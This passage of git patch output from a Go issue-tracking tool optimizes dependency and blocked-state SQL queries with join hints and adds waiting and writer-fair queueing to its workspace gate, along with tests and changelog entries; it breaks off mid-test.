//nolint:gosec // G201: depTable and scope are constants; waitsForGateBlockedSQL is a constant template. func shouldBeBlockedIDsUnionScopedSQL(depTable, scope string) string { + targetHint, parentHint := "", "" + if scope != "" { + targetHint = "/*+ JOIN_ORDER(d, t) LOOKUP_JOIN(d, t) */ " + parentHint = "/*+ JOIN_ORDER(d, p) LOOKUP_JOIN(d, p) */ " + } return fmt.Sprintf(` - SELECT d.issue_id FROM %[1]s d + SELECT %[4]sd.issue_id FROM %[1]s d JOIN issues t ON t.id = d.depends_on_issue_id WHERE d.issue_id IS NOT NULL %[3]s AND (d.type = 'blocks' OR d.type = 'conditional-blocks') AND t.status <> 'closed' AND t.status <> 'pinned' UNION - SELECT d.issue_id FROM %[1]s d + SELECT %[4]sd.issue_id FROM %[1]s d JOIN wisps t ON t.id = d.depends_on_wisp_id WHERE d.issue_id IS NOT NULL %[3]s AND (d.type = 'blocks' OR d.type = 'conditional-blocks') AND t.status <> 'closed' AND t.status <> 'pinned' UNION - SELECT d.issue_id FROM %[1]s d + SELECT %[5]sd.issue_id FROM %[1]s d JOIN issues p ON p.id = d.depends_on_issue_id WHERE d.issue_id IS NOT NULL %[3]s AND d.type = 'parent-child' AND p.is_blocked = 1 UNION - SELECT d.issue_id FROM %[1]s d + SELECT %[5]sd.issue_id FROM %[1]s d JOIN wisps p ON p.id = d.depends_on_wisp_id WHERE d.issue_id IS NOT NULL %[3]s AND d.type = 'parent-child' @@ -436,7 +456,7 @@ func shouldBeBlockedIDsUnionScopedSQL(depTable, scope string) string { AND d.type = 'waits-for' ) d WHERE (%[2]s) - `, depTable, waitsForGateBlockedSQL, scope) + `, depTable, waitsForGateBlockedSQL, scope, targetHint, parentHint) } // CountIsBlockedInconsistenciesInTx reports how many issue and wisp rows carry a diff --git a/internal/storage/issueops/blocked_state.go b/internal/storage/issueops/blocked_state.go index 8a0c17a44..59c52ad49 100644 --- a/internal/storage/issueops/blocked_state.go +++ b/internal/storage/issueops/blocked_state.go @@ -20,21 +20,46 @@ type DBTX interface { QueryRowContext(ctx context.Context, query string, args ...any) *sql.Row } +// waitsForGateBlockedSQL decides whether a waits-for row d (spawner = +// d.depends_on_issue_id or d.depends_on_wisp_id) still gates its waiter. +// +// Each "the spawner has an open / a closed parent-child child" test is split +// per dependency table AND per spawner column, and pins the child lookup by +// primary key (JOIN_ORDER/LOOKUP_JOIN; on MySQL, JOIN_ORDER is honored and +// the unknown LOOKUP_JOIN hint is ignored with a warning). The earlier form +// matched both spawner columns with one OR inside each EXISTS, which no +// single index serves, so the engine scanned the whole edge table per +// correlated evaluation: closing one child of a 1000-child spawner with 20 +// waiters on a 50k-issue / 100k-edge database spent ~39 s in the recompute. +// Split, each EXISTS is an index lookup on its target column (the +// idx_*_issue_target / idx_*_wisp_target indexes). EXISTS(a OR b) is +// EXISTS(a) OR EXISTS(b), so the result is unchanged; the IS NOT NULL guards +// stay, as before (cd.col = NULL never matches anyway). const waitsForGateBlockedSQL = ` ( ( EXISTS ( - SELECT 1 FROM dependencies cd JOIN issues child ON child.id = cd.issue_id + SELECT /*+ JOIN_ORDER(cd, child) LOOKUP_JOIN(cd, child) */ 1 FROM dependencies cd JOIN issues child ON child.id = cd.issue_id WHERE cd.type = 'parent-child' - AND ((d.depends_on_issue_id IS NOT NULL AND cd.depends_on_issue_id = d.depends_on_issue_id) - OR (d.depends_on_wisp_id IS NOT NULL AND cd.depends_on_wisp_id = d.depends_on_wisp_id)) + AND d.depends_on_issue_id IS NOT NULL AND cd.depends_on_issue_id = d.depends_on_issue_id AND child.status <> 'closed' AND child.status <> 'pinned' ) OR EXISTS ( - SELECT 1 FROM wisp_dependencies cd JOIN wisps child ON child.id = cd.issue_id + SELECT /*+ JOIN_ORDER(cd, child) LOOKUP_JOIN(cd, child) */ 1 FROM dependencies cd JOIN issues child ON child.id = cd.issue_id WHERE cd.type = 'parent-child' - AND ((d.depends_on_issue_id IS NOT NULL AND cd.depends_on_issue_id = d.depends_on_issue_id) - OR (d.depends_on_wisp_id IS NOT NULL AND cd.depends_on_wisp_id = d.depends_on_wisp_id)) + AND d.depends_on_wisp_id IS NOT NULL AND cd.depends_on_wisp_id = d.depends_on_wisp_id + AND child.status <> 'closed' AND child.status <> 'pinned' + ) + OR EXISTS ( + SELECT /*+ JOIN_ORDER(cd, child) LOOKUP_JOIN(cd, child) */ 1 FROM wisp_dependencies cd JOIN wisps child ON child.id = cd.issue_id + WHERE cd.type = 'parent-child' + AND d.depends_on_issue_id IS NOT NULL AND cd.depends_on_issue_id = d.depends_on_issue_id + AND child.status <> 'closed' AND child.status <> 'pinned' + ) + OR EXISTS ( + SELECT /*+ JOIN_ORDER(cd, child) LOOKUP_JOIN(cd, child) */ 1 FROM wisp_dependencies cd JOIN wisps child ON child.id = cd.issue_id + WHERE cd.type = 'parent-child' + AND d.depends_on_wisp_id IS NOT NULL AND cd.depends_on_wisp_id = d.depends_on_wisp_id AND child.status <> 'closed' AND child.status <> 'pinned' ) ) @@ -45,17 +70,27 @@ const waitsForGateBlockedSQL = ` COALESCE(JSON_UNQUOTE(JSON_EXTRACT(d.metadata, '$.gate')), 'all-children') = 'any-children' AND ( EXISTS ( - SELECT 1 FROM dependencies cd JOIN issues child ON child.id = cd.issue_id + SELECT /*+ JOIN_ORDER(cd, child) LOOKUP_JOIN(cd, child) */ 1 FROM dependencies cd JOIN issues child ON child.id = cd.issue_id WHERE cd.type = 'parent-child' - AND ((d.depends_on_issue_id IS NOT NULL AND cd.depends_on_issue_id = d.depends_on_issue_id) - OR (d.depends_on_wisp_id IS NOT NULL AND cd.depends_on_wisp_id = d.depends_on_wisp_id)) + AND d.depends_on_issue_id IS NOT NULL AND cd.depends_on_issue_id = d.depends_on_issue_id AND child.status = 'closed' ) OR EXISTS ( - SELECT 1 FROM wisp_dependencies cd JOIN wisps child ON child.id = cd.issue_id + SELECT /*+ JOIN_ORDER(cd, child) LOOKUP_JOIN(cd, child) */ 1 FROM dependencies cd JOIN issues child ON child.id = cd.issue_id WHERE cd.type = 'parent-child' - AND ((d.depends_on_issue_id IS NOT NULL AND cd.depends_on_issue_id = d.depends_on_issue_id) - OR (d.depends_on_wisp_id IS NOT NULL AND cd.depends_on_wisp_id = d.depends_on_wisp_id)) + AND d.depends_on_wisp_id IS NOT NULL AND cd.depends_on_wisp_id = d.depends_on_wisp_id + AND child.status = 'closed' + ) + OR EXISTS ( + SELECT /*+ JOIN_ORDER(cd, child) LOOKUP_JOIN(cd, child) */ 1 FROM wisp_dependencies cd JOIN wisps child ON child.id = cd.issue_id + WHERE cd.type = 'parent-child' + AND d.depends_on_issue_id IS NOT NULL AND cd.depends_on_issue_id = d.depends_on_issue_id + AND child.status = 'closed' + ) + OR EXISTS ( + SELECT /*+ JOIN_ORDER(cd, child) LOOKUP_JOIN(cd, child) */ 1 FROM wisp_dependencies cd JOIN wisps child ON child.id = cd.issue_id + WHERE cd.type = 'parent-child' + AND d.depends_on_wisp_id IS NOT NULL AND cd.depends_on_wisp_id = d.depends_on_wisp_id AND child.status = 'closed' ) ) diff --git a/internal/storage/issueops/blocked_state_template_test.go b/internal/storage/issueops/blocked_state_template_test.go index 4122c3032..b3c7de7ed 100644 --- a/internal/storage/issueops/blocked_state_template_test.go +++ b/internal/storage/issueops/blocked_state_template_test.go @@ -93,3 +93,43 @@ func TestExpandBatchTemplateSingleOccurrenceDegrades(t *testing.T) { t.Errorf("arg count = %d, want %d", len(stmtArgs), len(args)) } } + +// TestBatchedTemplatesPinLookupJoins pins the join hints on the scoped +// should-be-blocked union's four joined legs: without them the Dolt +// sql-server planner intermittently drives the issues legs from an index +// scan of every open issue, 6-10 s per statement over an import's +// uncommitted working set (see shouldBeBlockedIDsUnionScopedSQL). The +// unscoped union (full repair, doctor count) keeps the planner's choice. +func TestBatchedTemplatesPinLookupJoins(t *testing.T) { + for name, tmpl := range batchedTemplates() { + for _, hint := range []string{"JOIN_ORDER(d, t) LOOKUP_JOIN(d, t)", "JOIN_ORDER(d, p) LOOKUP_JOIN(d, p)"} { + if got := strings.Count(tmpl, hint); got != 2 { + t.Errorf("%s carries %q %d times, want 2 (one per joined issues/wisps leg)", name, hint, got) + } + } + } + for _, depTable := range []string{"dependencies", "wisp_dependencies"} { + union := shouldBeBlockedIDsUnionSQL(depTable) + if strings.Contains(union, "LOOKUP_JOIN(d, t)") || strings.Contains(union, "LOOKUP_JOIN(d, p)") { + t.Errorf("unscoped union over %s should not pin its legs' joins", depTable) + } + } +} + +// TestWaitsForGateSplitsSpawnerColumns pins the waits-for gate's per-column +// EXISTS split: one OR across both spawner columns inside an EXISTS has no +// index to use and scans the edge table per evaluation (see +// waitsForGateBlockedSQL). Two tables x two columns x {open, closed} children. +func TestWaitsForGateSplitsSpawnerColumns(t *testing.T) { + if got := strings.Count(waitsForGateBlockedSQL, "JOIN_ORDER(cd, child) LOOKUP_JOIN(cd, child)"); got != 8 { + t.Errorf("gate pins %d child lookups, want 8", got) + } + if strings.Contains(waitsForGateBlockedSQL, "OR (d.depends_on_wisp_id IS NOT NULL") { + t.Errorf("gate still ORs the spawner columns inside one EXISTS") + } + for _, col := range []string{"depends_on_issue_id", "depends_on_wisp_id"} { + if got := strings.Count(waitsForGateBlockedSQL, "cd."+col+" = d."+col); got != 4 { + t.Errorf("gate matches cd.%s in %d EXISTS, want 4", col, got) + } + } +} diff --git a/internal/storage/issueops/dependencies.go b/internal/storage/issueops/dependencies.go index 400824cba..f4febfbd8 100644 --- a/internal/storage/issueops/dependencies.go +++ b/internal/storage/issueops/dependencies.go @@ -556,34 +556,57 @@ func WouldCreateSchedulingCycleInTx(ctx context.Context, tx DBTX, issueID, depen // ready-work computation, so a chain mixing blocks and parent-child edges // can form a logical livelock that prevents anything from being ready. func cycleReachabilityQuery(depTables []string) string { - if len(depTables) == 1 { - return fmt.Sprintf(` - WITH RECURSIVE reachable(node) AS ( - SELECT ? - UNION - SELECT %s - FROM reachable r - JOIN %s d ON d.issue_id = r.node AND d.type IN ('blocks', 'conditional-blocks', 'parent-child') - ) - SELECT COUNT(*) FROM reachable WHERE node = ? - `, DepTargetExpr, depTables[0]) - } + return reachabilityQuery("reachable", depTables, "d.type IN ('blocks', 'conditional-blocks', 'parent-child')") +} - var unions []string +// reachabilityQuery builds a recursive walk (CTE named cte) from the first +// placeholder along outgoing dependency rows matching typeFilter, counting +// whether the second placeholder is reached (the anchor included). Callers +// pass constants for cte, depTables and typeFilter, which are spliced in +// verbatim. +// +// Each dependency table gets its own recursive member joined directly on +// d.issue_id, so every recursion step is an index lookup on issue_id. Joining +// a UNION of the tables instead (the earlier shape) leaves Dolt nothing to +// index: it rescans every matching edge per step, which on a 100k-edge graph +// is minutes for one check. +// +// The join hints and the filter placement are both load-bearing, and +// TestGraphWalkPlansHonorJoinHints (embedded) pins the resulting plans: +// +// - JOIN_ORDER(r, d) LOOKUP_JOIN(r, d) pins the frontier as the outer side +// with an index probe into the edge table (as sqlbuild.DescendantWalkQuery +// does). Without them the Dolt sql-server's cost-based planner picks a +// type-index scan join when table statistics are not yet available (e.g. +// right after a commit), and the embedded engine does so for a member +// whose table has no statistics, with the same minutes-long result. On +// MySQL, JOIN_ORDER is honored (the order it forces is the one wanted) and +// the unknown LOOKUP_JOIN hint is ignored with a warning. +// - typeFilter is applied in the projection, not the join condition: a row +// of another type yields a NULL node, which joins no row and never equals +// the goal, so the reachable set is unchanged. Left in the ON clause, a +// single-type filter ("d.type = 'parent-child'") is an equality the +// planner can satisfy through a type-leading index instead, keyed by the +// constant — a lookup that returns every parent-child row of the table +// for each frontier node. +// +// The reachable set is the same as the single-member walk over the UNION: +// UNION distinct merges what every member produces per step. +func reachabilityQuery(cte string, depTables []string, typeFilter string) string { + members := make([]string, 0, len(depTables)) for _, t := range depTables { - unions = append(unions, fmt.Sprintf("SELECT issue_id, %s AS depends_on_id FROM %s WHERE type IN ('blocks', 'conditional-blocks', 'parent-child')", DepTargetExpr, t)) + members = append(members, fmt.Sprintf( + "SELECT /*+ JOIN_ORDER(r, d) LOOKUP_JOIN(r, d) */ CASE WHEN %s THEN %s END FROM %s r JOIN %s d ON d.issue_id = r.node", + typeFilter, depTargetExpr("d"), cte, t)) } - unionQuery := strings.Join(unions, " UNION ") return fmt.Sprintf(` - WITH RECURSIVE reachable(node) AS ( + WITH RECURSIVE %s(node) AS ( SELECT ? UNION - SELECT d.depends_on_id - FROM reachable r - JOIN (%s) d ON d.issue_id = r.node + %s ) - SELECT COUNT(*) FROM reachable WHERE node = ? - `, unionQuery) + SELECT COUNT(*) FROM %s WHERE node = ? + `, cte, strings.Join(members, "\n\t\t\tUNION\n\t\t\t"), cte) } func cycleDetectionTables() []string { @@ -629,21 +652,7 @@ func CheckBlockingHierarchyInTx(ctx context.Context, tx DBTX, dep *types.Depende // and cousins in the same hierarchy do not match). Uses UNION distinct // recursion so diamond/cyclic parentage terminates by unique reachable node. func isAncestorInTx(ctx context.Context, tx DBTX, node, candidate string, depTables []string) (bool, error) { - var unions []string - for _, t := range depTables { - unions = append(unions, fmt.Sprintf("SELECT issue_id, %s AS parent_id FROM %s WHERE type = 'parent-child'", DepTargetExpr, t)) - } - //nolint:gosec // G201: depTables are fixed dependency table names from cycleDetectionTables/opts. - query := fmt.Sprintf(` - WITH RECURSIVE ancestors(node) AS ( - SELECT ? - UNION - SELECT d.parent_id - FROM ancestors a - JOIN (%s) d ON d.issue_id = a.node - ) - SELECT COUNT(*) FROM ancestors WHERE node = ? - `, strings.Join(unions, " UNION ")) + query := reachabilityQuery("ancestors", depTables, "d.type = 'parent-child'") var n int if err := tx.QueryRowContext(ctx, query, node, candidate).Scan(&n); err != nil { return false, err diff --git a/internal/storage/issueops/dependencies_test.go b/internal/storage/issueops/dependencies_test.go index 0ec0a484d..635f81cb2 100644 --- a/internal/storage/issueops/dependencies_test.go +++ b/internal/storage/issueops/dependencies_test.go @@ -177,7 +177,7 @@ func TestCycleReachabilityQuerySingleTableJoinsDirectly(t *testing.T) { t.Fatalf("single-table cycle query should not materialize a derived dependency table:\n%s", query) } if !strings.Contains(query, "d.type IN ('blocks', 'conditional-blocks', 'parent-child')") { - t.Fatalf("query does not filter scheduling-relevant dependency types at the direct join:\n%s", query) + t.Fatalf("query does not filter scheduling-relevant dependency types:\n%s", query) } if strings.Contains(query, "UNION ALL") || strings.Contains(query, "depth") { t.Fatalf("cycle query should traverse unique nodes, not enumerate paths:\n%s", query) @@ -189,14 +189,39 @@ func TestCycleReachabilityQueryMultipleTablesTraversesUniqueNodes(t *testing.T) if strings.Contains(query, "UNION ALL") || strings.Contains(query, "depth") { t.Fatalf("multi-table cycle query should traverse unique nodes, not enumerate paths:\n%s", query) } - if !strings.Contains(query, "FROM dependencies") { - t.Fatalf("query does not include dependencies table:\n%s", query) + // One recursive member per table, each joined directly on issue_id: a + // join against a UNION of the tables cannot use an index, and Dolt then + // rescans every edge per recursion step. + for _, table := range []string{"dependencies", "wisp_dependencies"} { + if !strings.Contains(query, "JOIN "+table+" d ON d.issue_id = r.node") { + t.Fatalf("query does not join %s directly on issue_id:\n%s", table, query) + } } - if !strings.Contains(query, "FROM wisp_dependencies") { - t.Fatalf("query does not include wisp_dependencies table:\n%s", query) + if strings.Contains(query, "JOIN (SELECT") { + t.Fatalf("multi-table cycle query should not join a derived union of the dependency tables:\n%s", query) } - if !strings.Contains(query, DepTargetExpr) { - t.Fatalf("query does not resolve depends_on_id via DepTargetExpr:\n%s", query) + if strings.Count(query, "JOIN_ORDER(r, d) LOOKUP_JOIN(r, d)") != 2 { + t.Fatalf("every recursive member should pin the lookup join:\n%s", query) + } + if !strings.Contains(query, depTargetExpr("d")) { + t.Fatalf("query does not resolve depends_on_id via the typed target columns:\n%s", query) + } +} + +func TestAncestorQueryJoinsEachTableOnIssueID(t *testing.T) { + query := reachabilityQuery("ancestors", []string{"dependencies", "wisp_dependencies"}, "d.type = 'parent-child'") + for _, table := range []string{"dependencies", "wisp_dependencies"} { + // issue_id is the join's only predicate: a type equality there could + // be planned as a lookup into a type-leading index instead. + if !strings.Contains(query, "JOIN "+table+" d ON d.issue_id = r.node\n") { + t.Fatalf("ancestor query does not join %s on issue_id alone:\n%s", table, query) + } + } + if strings.Count(query, "CASE WHEN d.type = 'parent-child' THEN") != 2 { + t.Fatalf("ancestor query does not filter parent-child rows in each member's projection:\n%s", query) + } + if strings.Count(query, "JOIN_ORDER(r, d) LOOKUP_JOIN(r, d)") != 2 { + t.Fatalf("every recursive member should pin the lookup join:\n%s", query) } } From b4c76a676bffe8aa2ea9ab9a07850d9c2f1c91eb Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Mon, 5 Oct 2026 00:03:48 -0700 Subject: [PATCH 095/325] fix(gate): ordinary commands wait for maintenance operations, fairly; init waits up to 60s (#7225) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * fix(gate): ordinary commands wait out maintenance, with writer fairness Ordinary bd commands take the workspace (and physical-root) gate SHARED and never waited for it, so while another process held it EXCLUSIVELY — bd init (~8s), backup restore, migrate, bootstrap — they failed at once with "a maintenance operation is running". In shared-server mode every project shares one physical-root gate, so another project's bd init broke every bd command on the machine for its duration. Ordinary commands now wait: - up to 15s by default; BEADS_GATE_WAIT_TIMEOUT (Go duration or bare seconds, same convention as BEADS_INIT_GATE_TIMEOUT) overrides it, and 0 restores fail-fast; - one "waiting for another bd process ..." notice after 2s (shared with bd init's notice); - Ctrl-C aborts the wait. A canceled wait used to fall through to the shared fail-open path ("continuing ungated"); it is now a hard error; - past the bound, the same error naming the holder, the wait, and the knob. Git hooks stay fail-fast: `bd hooks run` and the bd export/import children the hooks spawn run with BD_GIT_HOOK=1, treat failure as a warning, and must not stall a commit or checkout for 15s. Writer fairness (internal/workspacegate). flock/LockFileEx give no queueing, and acquisition is non-blocking polling, so a steady stream of overlapping shared holders could keep a waiting exclusive acquirer (bd init) out past its bound. A per-gate intent lock (.intent) fixes that: a waiting exclusive acquirer whose first try is busy takes the intent lock exclusively while it polls, and waiting shared acquirers probe it before every attempt and wait while it is held. The exclusive waiter then waits only for in-flight holders to drain. The intent is an OS lock, so a crashed waiter's intent dies with it; its advisory sidecar is ignored when the lock is free, and intent-lock errors other than "busy" degrade to the old behavior. Fail-fast acquisitions (Wait <= 0) ignore the queue entirely, so hooks and BEADS_GATE_WAIT_TIMEOUT=0 behave exactly as before. The intent lock is taken only while acquiring its gate, directly before it in AcquireAll's sorted order, so it adds no lock-order cycles. Nested bd (bd orphans running bd close, hooks fired by git that bd runs) would deadlock against the queue: the child queues behind an exclusive waiter that is waiting for the child's parent. A bd process holding its gates shared exports BEADS_GATE_SHARED_HOLDER_PID; a child whose recorded ancestor is alive skips the queue (it cannot help the waiter anyway). Tests: workspacegate fairness (a continuous shared stream no longer starves an exclusive waiter; verified to fail without the queue), intent lifecycle, stale intent from a SIGKILLed process, cancellation while queued, InheritedSharedHold. cmd/bd: holder released after ~3s lets a command through with one notice; past-bound error text; fail-fast modes (0, hooks); Ctrl-C is not fail-open; a new command queues behind a waiting bd init while a child of a shared holder does not; env parsing. TestSharedServerConcurrent runs a late bd init of a new project during the client workloads, so both directions are exercised against a real server. Co-Authored-By: Claude Opus 5.5 (1M context) * fix(gate): a queued exclusive waiter may delay shared commands, never fail them Review follow-up (B1). A doomed exclusive waiter — bd init or restore blocked behind a long-lived shared holder such as `bd list --watch`, `bd events tail --follow`, an open `bd edit` editor, or a beads.OpenGated embedder — held the writer-fairness intent lock for its whole budget, so every NEW ordinary command deferred to it and failed with "queued for exclusive access" even though nothing held the gate exclusively. Before the fairness change those commands ran normally. Two bounds fix it while keeping the fairness win: - An exclusive waiter drops the intent lock after maxIntentHold (10s) without getting the gate and keeps polling unqueued. In-flight ordinary commands drain far faster than that. - The final attempt of a waiting shared acquisition tries the gate even while intent is held, so a shared acquisition fails only when the gate itself is held exclusively. With the final attempt ignoring intent, AcquireAll's 1ns floor for an exhausted budget is dead code (a Wait-0 attempt behaves the same), so it is back to 0. queuedDetail drops an intent sidecar left by a dead process (on Windows its removal can fail while another process is reading it). Tests: the doomed-waiter scenario (both bounds; each fails with its bound removed), intent lock order across a two-gate set in both directions, an exhausted AcquireAll budget, two exclusive waiters handing off the intent, and BEADS_GATE_SHARED_HOLDER_PID inherited through a real subprocess. Co-Authored-By: Claude Opus 5.5 (1M context) * fix(gate): 30s shared wait, 60s init wait, accurate errors, hook pinning Review follow-ups for the shared gate wait (S1-S5 and nits), on top of the workspacegate fix that keeps a queued exclusive waiter from failing ordinary commands. - Ordinary commands wait up to 30s by default (was 15s). Queued maintenance operations run one after another (two inits fanned out across shared-server projects hold the gate back to back, 10-15s each under load) and a waiting command waits for all of them. Documented in configuration.md and CHANGELOG, including BEADS_GATE_WAIT_TIMEOUT=0 for scripts that relied on fail-fast. - bd init waits up to 60s by default (was 30s). Safe only now that a waiting init stops queueing others after 10s. - Error text: a shared acquisition now fails only when the gate is held exclusively, so "running" is accurate; in shared-server mode it says "the shared server (possibly from another project)", and the detail still names the holder when known. - hooks.go: the hookSubprocessEnv / bd import comments listed BD_GIT_HOOK's consumers without the gate wait, which now reads it to stay fail-fast. TestHookSubprocessEnvKeepsGateFailFast pins that hook subprocesses carry it and therefore never wait on the gate. - bd edit's $EDITOR (which can outlive bd by hours) no longer inherits BEADS_GATE_SHARED_HOLDER_PID. - Test hygiene: the cmd/bd test binary never advertises the marker (in-process command tests run beside tests that spawn bd) and clears any inherited one in TestMain; the notice-delay test runs in 1s, not 3s. - TestSharedServerConcurrent's late init keeps a 30s bound so the 60s default cannot mask a fairness regression. Co-Authored-By: Claude Opus 5.5 (1M context) --------- Co-authored-by: Claude Opus 5.5 (1M context) --- CHANGELOG.md | 33 +- cmd/bd/edit.go | 1 + cmd/bd/edit_proxied_server.go | 1 + cmd/bd/hooks.go | 21 +- cmd/bd/shared_server_integration_test.go | 41 +- cmd/bd/test_repo_beads_guard_test.go | 4 + cmd/bd/workspace_gate.go | 263 ++++++++-- cmd/bd/workspace_gate_test.go | 427 ++++++++++++++-- docs/reference/configuration.md | 3 +- internal/workspacegate/gate.go | 305 ++++++++++-- internal/workspacegate/gate_test.go | 594 ++++++++++++++++++++++- 11 files changed, 1560 insertions(+), 133 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 380d4c8a9..6f9d51dab 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -96,15 +96,40 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 `release/**` in all five (#7148). +- **Ordinary bd commands now wait out a maintenance operation instead of + failing at once.** While `bd init`, `bd backup restore`, `bd migrate` or + `bd bootstrap` holds the workspace gate exclusively, every other bd command + on that workspace — and, in shared-server mode, on every project sharing + the server (another project's ~8s `bd init`) — failed immediately with "a + maintenance operation is running". They now wait up to 30s (one "waiting + for another bd process" notice after 2s; Ctrl-C aborts), then fail with the + same error naming the bound (and, in shared-server mode, saying the holder + may be another project). Override with `BEADS_GATE_WAIT_TIMEOUT` (`1m`, + `90`); scripts that relied on the old fail-fast behavior should set + `BEADS_GATE_WAIT_TIMEOUT=0`. Git hooks stay fail-fast so a commit or + checkout is never stalled. Waiting is writer-fair: once a maintenance + operation is waiting for the gate, newly started commands queue behind it, + so a steady stream of short commands can no longer starve `bd init`. The + queue only ever delays a command, never fails it, and a maintenance + operation that cannot get in (for example behind a `bd list --watch`) + stops queueing others after 10s. Queued maintenance operations run one + after another, and a waiting command waits for all of them. The queue + marker is an OS lock beside the gate (`*.gate.lock.intent`, covered by the + existing `*.gate.lock*` gitignore pattern), so a crashed waiter never + leaves a stale queue behind. `bd init`'s own wait (`BEADS_INIT_GATE_TIMEOUT`) + rises from 30s to 60s, since back-to-back inits under load take 10-15s + each. + - **Concurrent `bd init --shared-server` runs in different projects no longer refuse each other.** Every shared-server project gates the one shared dolt data dir, and `bd init` holds that gate exclusively for its ~8s run but waited only 5s for it, so a second init (or an init during another project's long command) failed with "bd init refuses to run over live bd - activity". `bd init` now waits up to 30s, printing one "waiting for another - bd process on the shared server" notice after 2s, then fails with the same - refusal naming the bound. Override it with `BEADS_INIT_GATE_TIMEOUT` - (`2m`, `90`). Other exclusive operations keep their 5s wait. + activity". `bd init` now waits (60s by default, see the gate-wait entry + above), printing one "waiting for another bd process on the shared server" + notice after 2s, then fails with the same refusal naming the bound. + Override it with `BEADS_INIT_GATE_TIMEOUT` (`2m`, `90`). Other exclusive + operations keep their 5s wait. - **A proxied-server command against an unreachable external Dolt upstream now fails within about a second with a clear error instead of stalling diff --git a/cmd/bd/edit.go b/cmd/bd/edit.go index 786927550..5fe2bed53 100644 --- a/cmd/bd/edit.go +++ b/cmd/bd/edit.go @@ -119,6 +119,7 @@ Examples: editorParts := strings.Fields(editor) editorArgs := append(editorParts[1:], tmpPath) editorCmd := exec.Command(editorParts[0], editorArgs...) //nolint:gosec // G204: editor from trusted $EDITOR/$VISUAL env or known defaults + editorCmd.Env = envWithoutSharedHoldMarker() editorCmd.Stdin = os.Stdin editorCmd.Stdout = os.Stdout editorCmd.Stderr = os.Stderr diff --git a/cmd/bd/edit_proxied_server.go b/cmd/bd/edit_proxied_server.go index baee72575..e0c3af82b 100644 --- a/cmd/bd/edit_proxied_server.go +++ b/cmd/bd/edit_proxied_server.go @@ -96,6 +96,7 @@ func runEditProxiedServer(cmd *cobra.Command, ctx context.Context, args []string editorParts := strings.Fields(editor) editorArgs := append(editorParts[1:], tmpPath) editorCmd := exec.Command(editorParts[0], editorArgs...) //nolint:gosec // G204: editor from trusted $EDITOR/$VISUAL env or known defaults + editorCmd.Env = envWithoutSharedHoldMarker() editorCmd.Stdin = os.Stdin editorCmd.Stdout = os.Stdout editorCmd.Stderr = os.Stderr diff --git a/cmd/bd/hooks.go b/cmd/bd/hooks.go index 033f4311a..f59f9ab99 100644 --- a/cmd/bd/hooks.go +++ b/cmd/bd/hooks.go @@ -2072,11 +2072,16 @@ func hookLinkedWorktreePrimaryRoot(hookRoot string) string { // exportJSONLForCommit. // // Nothing on either the export or the import path reads BD_GIT_HOOK to decide -// whether to do its work: its only consumers are maybeAutoExport -// (export_auto.go), maybeAutoBackup (backup_auto.go), the first-run metrics -// notice (metrics.go) and terminal color (internal/ui). Setting it therefore -// suppresses only the post-run writes the hook is doing itself, never the -// explicit command. +// whether to do its work: its consumers are maybeAutoExport (export_auto.go), +// maybeAutoBackup (backup_auto.go), the first-run metrics notice +// (metrics.go), terminal color (internal/ui), and the workspace gate +// (sharedGateWait in workspace_gate.go), which makes a hook subprocess fail +// fast instead of waiting up to BEADS_GATE_WAIT_TIMEOUT behind a maintenance +// operation. Setting it therefore suppresses only the post-run writes the +// hook is doing itself and keeps the hook from stalling the user's git +// command, never the explicit command. Dropping BD_GIT_HOOK here would make +// every commit/checkout during a bd init or restore hang for the gate wait; +// TestHookSubprocessEnvKeepsGateFailFast pins it. func hookSubprocessEnv(env []string) []string { return append(filterEnv(env, "BD_GIT_HOOK"), "BD_GIT_HOOK=1") } @@ -2226,8 +2231,10 @@ func importJSONLForSync(reason string) { warnJSONLWithoutDoltRemote(reason + " JSONL import") // Shell out to `bd import` — same pattern as exportJSONLForCommit, - // including BD_GIT_HOOK=1. No import path consults that variable, so - // clearing it suppressed nothing the import needs; all it did was let the + // including BD_GIT_HOOK=1 (which also keeps the subprocess's workspace + // gate acquisition fail-fast; see hookSubprocessEnv). No import path + // consults that variable to decide whether to import, so clearing it + // suppressed nothing the import needs; all it did was let the // subprocess's PersistentPostRun auto-export fire, and that export // re-resolves its destination from beads.FindBeadsDir() — the *primary* // checkout's JSONL. Harmless while this hook read the primary's copy too, diff --git a/cmd/bd/shared_server_integration_test.go b/cmd/bd/shared_server_integration_test.go index 2ded2763e..ac032988f 100644 --- a/cmd/bd/shared_server_integration_test.go +++ b/cmd/bd/shared_server_integration_test.go @@ -134,7 +134,7 @@ func TestSharedServerConcurrent(t *testing.T) { // the one shared dolt dir, and bd init holds that root's gate // EXCLUSIVELY (acquireInitMutationGate), so concurrent inits of // different projects serialize on it. Each waits up to - // initGateWaitDefault (30s) for the others, which covers the lane's + // initGateWaitDefault (60s) for the others, which covers the lane's // small BEADS_TEST_SS_DIRS at ~8s per init. Larger manual runs queue // numDirs inits behind one gate, so raise the bound to match rather // than reintroduce client-side serialization. @@ -178,9 +178,46 @@ func TestSharedServerConcurrent(t *testing.T) { t.Logf("init %d dirs: %s", numDirs, time.Since(phase)) // ── Fan out client workloads ──────────────────────────────────────── + // Plus one late `bd init` of a fresh project that starts while the + // workloads are running. It holds the shared physical root's gate + // EXCLUSIVELY for its whole run, so this exercises both directions of + // the gate wait: every client command that lands during the init waits + // for it (BEADS_GATE_WAIT_TIMEOUT, default 30s) instead of failing, and + // the init gets the gate despite the steady stream of short client + // commands (workspacegate writer fairness: once the init is queued, new + // shared acquirers wait behind it). Its bound is pinned to 30s, half the + // 60s default, rather than initEnv's raised one: a generous bound would + // mask a fairness regression. phase = time.Now() eg, egCtx = errgroup.WithContext(ctx) - eg.SetLimit(maxProcs) + eg.SetLimit(maxProcs + 1) // +1: the late init below must not take a client's slot + eg.Go(func() error { + select { + case <-time.After(time.Second): // let the workloads get going + case <-egCtx.Done(): + return egCtx.Err() + } + dir := filepath.Join(t.TempDir(), "projlate") + if err := os.MkdirAll(dir, 0o755); err != nil { + return fmt.Errorf("late project mkdir: %w", err) + } + if err := gitInit(egCtx, dir); err != nil { + return fmt.Errorf("late project git init: %w", err) + } + start := time.Now() + lateEnv := append(append([]string{}, baseEnv...), initGateTimeoutEnv+"=30s") + out, err := ssExec(egCtx, bdBinary, dir, lateEnv, + "init", "--shared-server", "--external", + "--prefix", 